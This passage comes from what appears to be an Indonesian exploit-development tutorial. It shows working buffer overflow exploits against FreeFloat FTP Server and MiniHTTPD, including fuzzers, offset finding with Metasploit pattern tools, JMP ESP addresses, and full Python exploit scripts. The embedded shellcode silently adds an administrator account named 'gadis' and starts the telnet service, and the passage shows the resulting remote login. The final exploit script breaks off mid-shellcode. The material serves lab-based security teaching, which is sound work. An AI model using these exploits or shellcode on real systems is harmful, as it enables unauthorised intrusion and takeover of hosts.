  13:   bb b5 5c e7 77          mov    $0x77e75cb5,%ebx
  18:   ff d3                   call   *%ebx
```

Lakukan hal di atas agar tampilan shellcode nya

```
root@dhcppc4:/home/lab92#
root@dhcppc4:/home/lab92# nano xx
```

Jika ingin melakukannya secara otomatis maka buat programnya untuk menyusun shellcode secara otomatis

```
File  Edit  View  Search  Terminal  Help
  GNU nano 2.2.6                    File: xx

for i in $(objdump -d shellcode |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
```

Program untuk menyusun shellcode secara otomatis

```
root@dhcppc4:/home/lab92# nano xx
root@dhcppc4:/home/lab92# ./xx
\xeb\x18\x5b\x31\xc0\x50\x31\xc0\x53\xbb\xc6\x84\xe6\x77\xff\xd3\x31\xc0\x50\xbb\xb5\x5c\xe7\x77\xff\xd3\xe8\xe3
\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x43\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x67\x61\x64\x69\x73
\x20\x31\x32\x33\x34\x35\x20\x2f\x61\x64\x64\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70
\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x67\x61\x64\x69\x73\x20\x2f\x61\x64\x64\x20\x26
\x20\x73\x63\x20\x73\x74\x61\x72\x74\x20\x74\x6c\x6e\x74\x73\x76\x72\x20\x26\x30\x78\x30\x30
root@dhcppc4:/home/lab92#
```

Hasilnya ketika program dijalankan

Copy shellcode

Paste seperti di atas

```
import socket

buffer = "\x41" * 230
eip = "\x4A\x75\xD7\x77"
nop = "\x90" * 24
shellcode = "\xeb\x18\x5b\x31\xc0\x50\x31\xc0\x53\xbb\xc6\x84\xe6\x77\
#buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab
commandpass = "anonymous"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.31", 21))
print s.recv(1024)
s.send("USER "+buffer+eip+nop+shellcode+"\r\n")
print s.recv(1024)
s.send("PASS "+commandpass+"\r\n")
print s.recv(1024)
s.close()
```

Tampilan shellcode setelah di copy paste

Jalankan program Freefloat

Kondisi pada user accounts seperti di atas

Telnet server dalam posisi tidak berjalan

```
root@dhcppc4:/home/lab92# python fuzzer.py
220 FreeFloat Ftp Server (Version 1.00).

331 Password required for AAAA
```

```
root@dhcppc4:/home/lab92# telnet 192.168.1.31
Trying 192.168.1.31...
Connected to 192.168.1.31.
Escape character is '^]'.
Welcome to Microsoft Telnet Service

login: gadis
password:

*===============================================================
Welcome to Microsoft Telnet Server.
*===============================================================
C:\Documents and Settings\gadis>ipconfig
Windows IP Configuration


Ethernet adapter Local Area Connection 4:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.1.31
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.1

C:\Documents and Settings\gadis>
```

Ketika dilakukan ipconfig, tampil ip target.

Hasil dari eksploitasi, telnet menjadi berjalan

Ada user gadis dengan posisi administrator

14.10 Pengujian di Windows 7 untuk melihat proteksi ASLR

Buka program FTP Server dengan Immunity Debugger

!mona modules /mod

Proteksi ASLR ada di berbagai module seperti shell32.dll

Berikutnya kita akan melanjutkan apa yang terjadi jika diteruskan

Masuk executable modules

Pilih SHELL32.dll

Pilih Search for lalu pilih Command

Ketik JMP ESP lalu enter

Hasilnya dari JMP ESP

Masukkan dalam fuzzer lalu susun untuk menjadi exploit

Saat exploit dijalankan hasilnya kalkulator muncul

Setelah itu pilih Shutdown

Restart

Exploit dijalankan kembali

Program kalkulator tidak muncul tapi crash, di sini diakibatkan alamat ESP pada program sudah berubah

14.11 Vulnerability Development pada suatu web server

Di sini program yang akan diuji dibuat program exploit nya adalah MiniHTTPD. Jalanlan Immunity Debugger lalu buka file minihttpd.exe dengan Imunnity Debugger.

Minihttpd.exe

Inspect elemen lalu pilih Network

A sebanyak 6000 dikirim pada variabel buffer dibawah ini.

"GET / %s HTTP/1.1\r\nHost:192.168.1.31\r\n\r\n" % (buffer)

```
import socket

buffer = "A" * 6000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.35", 80))
buf = "GET / %s HTTP/1.1\r\nHost:192.168.1.35\r\n\r\n" % (buffer)

s.send(buf)
s.close()
```

Program fuzzer untuk mengirimkan A sebanyak 6000 . “GET / %s HTTP/1.1\r\nHost:192.168.1.35\r\n\r\n" % (Dikirim disini)”

Program fuzzer dijalankan

Program mengalami crash

Jalankan pattern_create.rb

```
import socket


buffer =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7
Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6
Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai
6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al
8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao
4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar
2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2
Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9
Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8A
z9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7B
c8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7
Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi
8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0
Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo
7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br
6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6B
u7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4
Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4
Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3C
d4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3C
g4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5
Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5C
m6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3
Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3
Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3C
v4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy
2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1
Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd
9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7D
g8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj
8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6
Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2D
p3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds
1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9D
v0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6
Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5
Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5
Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6
Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9E
k0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9E
n0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep
9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0
Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew
1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0
```

Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1
Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2
Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4F
i5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9F
m0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7F
o8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8F
r9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv
1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0F
y1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0G
b1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd
8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6
Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj
6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4G
m5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0G
p1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8
Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu
7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3
Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1H
a2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9
Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7
Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi
6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl
7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2H
o3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9
Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9"

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("192.168.1.35", 80))

buf = "POST / %s HTTP/1.1\r\nHost:192.168.1.35\r\n\r\n" % (buffer)


s.send(buf)

s.close()
```

```
fuzz2 - Notepad
File  Edit  Format  View  Help
import socket

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6A
Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk
p9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9
0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0E
Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj
o3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.35", 80))
buf = "POST / %s HTTP/1.1\r\nHost:192.168.1.35\r\n\r\n" % (buffer)

s.send(buf)
s.close()
```

Program fuzzer dengan isi hasil dari nilai dijalankannya pattern_create.rb sebanyak 6000 bytes

```
C:\Python27>notepad fuzz1.py

C:\Python27>type fuzz1.py
import socket

buffer = "A" * 6000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.35", 80))
buf = "GET / %s HTTP/1.1\r\nHost:192.168.1.35\r\n\r\n" % (buffer)

s.send(buf)
s.close()

C:\Python27>python fuzz1.py

C:\Python27>notepad fuzz2.py

C:\Python27>python fuzz2.py

C:\Python27>_
```

```
ESP 00C5DC6C
EBP 0000000E
ESI 00C5DD66
EIP 337A4732
P 0  CS 001B
A 0  SS 0023
Z 0  DS 0023
S 0  FS 0038
T 0  GS 0000
D 0
O 0  LastErr
EFL 00010202
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
FST 0000
FCW 027F
```

```
[18:11:57] Access violation when executing [337A4732] - use Shift+F7/F8/F9 to pa
Paused
```

Program crash didapatkan nilai 337A4732 dari EIP

```
root@dhcppc4:~#
root@dhcppc4:~#
root@dhcppc4:~# locate pattern_offset.rb
/usr/share/metasploit-framework/tools/pattern_offset.rb
root@dhcppc4:~# ruby /usr/share/metasploit-framework/tools/pattern_offset.rb 337
A4732
[*] Exact match at offset 5438
root@dhcppc4:~#
```

Jalankan pattern_offset seperti di atas. Didapatkan nilai 5438.

```
245 loops, 23 switches

---------- Mona command started on 2016-09-01 12:41:21 (v2.0, rev 427) ----------
0BADF00D [+] Processing arguments and criteria
0BADF00D     - Pointer access level : X
0BADF00D [+] Generating module info table, hang on...
0BADF00D     - Processing modules
0BADF00D     - Done. Let's rock 'n roll.
0BADF00D ----------------------------------------------------------------------------------------------------
0BADF00D  Module info :
0BADF00D ----------------------------------------------------------------------------------------------------
0BADF00D  Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version
0BADF00D ----------------------------------------------------------------------------------------------------
0BADF00D  0x77dd0000 | 0x77e5b000 | 0x0008b000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x71ad0000 | 0x71ad8000 | 0x00008000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x77c70000 | 0x77cb0000 | 0x00040000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x71aa0000 | 0x71aa8000 | 0x00008000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x77e60000 | 0x77f45000 | 0x000e5000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x77c10000 | 0x77c63000 | 0x00053000 | False  | False   | False |  False   | True   | 7.0.260
0BADF00D  0x73000000 | 0x73023000 | 0x00023000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x77f50000 | 0x77ff9000 | 0x000a9000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x00400000 | 0x0042c000 | 0x0002c000 | False  | False   | False |  False   | False  | 1.0.0.1
0BADF00D  0x77cc0000 | 0x77d35000 | 0x00075000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x71ab0000 | 0x71ac5000 | 0x00015000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x77d40000 | 0x77dcd000 | 0x0008d000 | False  | False   | False |  False   | True   | 5.1.260
0BADF00D  0x77340000 | 0x773cb000 | 0x0008b000 | False  | False   | False |  False   | True   | 5.82 [C
0BADF00D ----------------------------------------------------------------------------------------------------
0BADF00D
0BADF00D
0BADF00D
         [+] This mona.py action took 0:00:01.102000

!mona modules /mod
```

!mona modules /mod

Immunity Debugger - gger - gger - - [Executable modules]

File View Debug Plugins ImmLib Options Window Help Jobs

l e m t w h c P k b z r ..

Base	Size	Entry	Name	File version	Path
00400000	0002C000	0040497F	minihttp	1, 0, 0, 1	C:\minihttpd\minihttpd.exe
5AD70000	00034000	5AD71583	uxtheme	6.00.2600.0000	C:\WINDOWS\system32\uxtheme.dll
71A50000	0003B000	71A51DFD	mswsock	5.1.2600.0 (xpc	C:\WINDOWS\System32\mswsock.dll
71A90000	00008000	71A9117D	wshtcpip	5.1.2600.0 (xpc	C:\WINDOWS\System32\wshtcpip.dll
71AA0000	00008000	71AA1226	WS2HELP	5.1.2600.0 (xpc	C:\WINDOWS\System32\WS2HELP.dll
71AB0000	00015000	71AB16C6	WS2_32	5.1.2600.0 (xpc	C:\WINDOWS\System32\WS2_32.dll
71AD0000	00008000		WSOCK32	5.1.2600.0 (xpc	C:\WINDOWS\System32\WSOCK32.dll
73000000	00023000	730016FA	WINSPOOL	5.1.2600.0 (XPC	C:\WINDOWS\System32\WINSPOOL.DRV
76F20000	00025000	76F212CF	DNSAPI	5.1.2600.0 (xpc	C:\WINDOWS\System32\DNSAPI.dll
76F60000	0002C000	76F610C0	WLDAP32	5.1.2600.0 (xpc	C:\WINDOWS\system32\WLDAP32.dll
76FB0000	00007000	76FB118B	winrnr	5.1.2600.0 (xpc	C:\WINDOWS\System32\winrnr.dll
77340000	0008B000	77341A59	COMCTL32	5.82 (xpclient.(	C:\WINDOWS\system32\COMCTL32.dll
77C10000	00053000	77C1E94F	msvcrt	7.0.2600.0 (xpc	C:\WINDOWS\system32\msvcrt.dll
77C70000	00040000		GDI32	5.1.2600.0 (xpc	C:\WINDOWS\system32\GDI32.dll
77CC0000	00075000	77CC1334	RPCRT4	5.1.2600.0 (XPC	C:\WINDOWS\system32\RPCRT4.dll
77D40000	0008D000	77D4514B	USER32	5.1.2600.0 (xpc	C:\WINDOWS\system32\USER32.dll
77DD0000	0008B000	77DD1CFB	ADVAPI32	5.1.2600.0 (XPC	C:\WINDOWS\system32\ADVAPI32.dll
77E60000	000E5000	77E7A241	kernel32	5.1.2600.0 (xpc	C:\WINDOWS\system32\kernel32.dll
77F50000	000A9000		ntdll	5.1.2600.0 (xpc	C:\WINDOWS\System32\ntdll.dll

Pilih view lalu executable modules kemudian pilih USER32.dll

Klik kanan lalu pilih Search for lalu Command

Ketik JMP ESP lalu enter

Hasil dari pencarian JMP ESP

```
import socket

buffer = "A" * 5438
eip = "\x4A\x75\xD7\x77"
nop = "\x90"*35
shellcode = ("\xba\x1f\xb5\xae\xa1\xdd\xc4\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x83\xc6\x04\x03\x56\x10\x57\x5b\x5d" +
"\xc6\x1e\xa4\x9e\x16\x41\x2c\x7b\x27\x53\x4a\x0f\x15\x63" +
"\x18\x5d\x95\x08\x4c\x76\x2e\x7c\x59\x79\x87\xcb\xbf\xb4" +
"\x18\xfa\x7f\x1a\xda\x9c\x03\x61\x0e\x7f\x3d\xaa\x43\x7e" +
"\x7a\xd7\xab\xd2\xd3\x93\x19\xc3\x50\xe1\xa1\xe2\xb6\x6d" +
"\x99\x9c\xb3\xb2\x6d\x17\xbd\xe2\xdd\x2c\xf5\x1a\x56\x6a" +
"\x26\x1a\xbb\x68\x1a\x55\xb0\x5b\xe8\x64\x10\x92\x11\x57" +
"\x5c\x79\x2c\x57\x51\x83\x68\x50\x89\xf6\x82\xa2\x34\x01" +
"\x51\xd8\xe2\x84\x44\x7a\x61\x3e\xad\x7a\xa6\xd9\x26\x70" +
"\x03\xad\x61\x95\x92\x62\x1a\xa1\x1f\x85\xcd\x23\x5b\xa2" +
"\xc9\x68\x38\xcb\x48\xd5\xef\xf4\x8b\xb1\x50\x51\xc7\x50" +
"\x85\xe3\x8a\x3c\x6a\xde\x34\xbd\xe4\x69\x46\x8f\xab\xc1" +
"\xc0\xa3\x24\xcc\x17\xc3\x1f\xa8\x88\x3a\x9f\xc9\x81\xf8" +
"\xcb\x99\xb9\x29\x73\x72\x3a\xd5\xa6\xd5\x6a\x79\x18\x96" +
